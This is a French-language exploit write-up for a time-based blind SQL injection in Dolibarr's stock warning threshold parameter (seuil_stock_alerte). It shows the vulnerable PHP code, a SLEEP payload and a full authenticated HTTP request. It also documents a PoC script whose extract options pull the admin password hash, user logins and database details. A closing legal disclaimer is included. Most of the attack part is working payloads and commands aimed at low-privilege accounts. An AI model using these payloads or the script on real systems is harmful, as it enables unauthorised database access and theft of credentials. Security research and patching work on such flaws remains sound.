
L'action responsable de la définition du seuil d'alerte de stock par entrepôt (`seuil_stock_alerte`) accepte une entrée contrôlée par l'utilisateur et l'incorpore ensuite dans une requête SQL sans cast numérique ni liaison de paramètres appropriés. #dolibarr #exploit
Injection SQL affectant la fonctionnalité de gestion du stock produit via le
paramètre seuil_stock_alerte.
Testé et confirmé sur :
seuil_stock_alerte
Le paramètre est accepté par :
/product/stock/product.php
via l'action addlimitstockwarehouse.
Le paramètre est récupéré sans conversion numérique :
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
Il atteint ensuite une requête SQL par concaténation directe de chaînes :
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
Comme la valeur est insérée dans un contexte numérique non quoté, une expression SQL peut être fournie à la place d'une valeur numérique classique.
Une expression booléenne/temporelle suffit à démontrer l'exécution :
(SELECT IF((1=1),SLEEP(15),0))
Exemple de paramètre :
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Une requête réussie produit un délai de réponse HTTP d'environ 15 secondes, confirmant l'évaluation de l'expression SQL injectée.
L'action vulnérable peut être atteinte avec une requête authentifiée similaire à :
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
Prérequis :
Le problème a été reproduit avec un compte authentifié disposant uniquement de la permission :
Product → Create (produit/creer)
— un compte à faibles privilèges pouvant créer des produits.
L'injection SQL permet :
Les contraintes au niveau de la base de données sur ce système ont empêché l'exécution directe de commandes OS.
Le script PoC accompagnant stock_sqli_poc.py automatise le processus d'exploitation :
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| Option | Par défaut | Description |
|---|---|---|
--url | http://127.0.0.1:8088 | URL de l'instance Dolibarr cible |
--proxy | http://127.0.0.1:8080 | Proxy HTTP (Burp, etc.). Définir sur une chaîne vide pour désactiver |
--login | webeditor | Nom d'utilisateur du compte à faibles privilèges |
--password | WebEdit0r! | Mot de passe du compte |
--product-id | 1 | ID du produit cible |
--warehouse-id | 1 | ID de l'entrepôt cible |
--delay | 1.0 | Durée du SLEEP en secondes pour la détection basée sur le temps |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | Expression SQL à exfiltrer |
--length | 14 | Longueur maximale de caractères à extraire |
Extraire le hash du mot de passe admin :
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
Énumérer les utilisateurs :
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
Version de la base de données :
--extract "VERSION()"
Utilisateur actuel de la base de données :
--extract "USER()"
⚠️ Avis juridique : N'utilisez cet exploit que contre des systèmes pour lesquels vous disposez d'une autorisation écrite explicite. L'accès non autorisé à des systèmes informatiques est illégal. Ce PoC est fourni à des fins éducatives et de tests de sécurité autorisés uniquement.